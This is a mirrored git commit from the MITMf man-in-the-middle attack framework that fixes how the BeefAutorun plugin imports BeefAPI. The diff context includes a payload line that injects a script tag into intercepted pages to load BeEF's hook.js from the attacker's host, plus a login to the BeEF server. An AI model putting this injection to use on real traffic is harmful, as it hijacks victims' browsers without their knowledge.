mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-08 05:51:48 -07:00
fixed beefapi import
This commit is contained in:
parent
52fb822c15
commit
84c9bab33c
2 changed files with 3 additions and 3 deletions
|
@ -1 +1 @@
|
||||||
Subproject commit fdef4770187dd455c2cb67b668bd1f2761af02cc
|
Subproject commit 28d2fef986e217425cb621701f267e40425330c4
|
|
@ -22,8 +22,8 @@ import logging
|
||||||
import sys
|
import sys
|
||||||
import json
|
import json
|
||||||
import threading
|
import threading
|
||||||
import core.beefapi as beefapi
|
|
||||||
|
|
||||||
|
from core.beefapi.beefapi import BeefAPI
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.Inject import Inject
|
from plugins.Inject import Inject
|
||||||
from time import sleep
|
from time import sleep
|
||||||
|
@ -62,7 +62,7 @@ class BeefAutorun(Inject, Plugin):
|
||||||
self.black_ips = []
|
self.black_ips = []
|
||||||
self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (self.ip_address, beefconfig['beefport'])
|
self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (self.ip_address, beefconfig['beefport'])
|
||||||
|
|
||||||
beef = beefapi.BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
|
beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
|
||||||
if not beef.login(beefconfig['user'], beefconfig['pass']):
|
if not beef.login(beefconfig['user'], beefconfig['pass']):
|
||||||
sys.exit("[-] Error logging in to BeEF!")
|
sys.exit("[-] Error logging in to BeEF!")
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue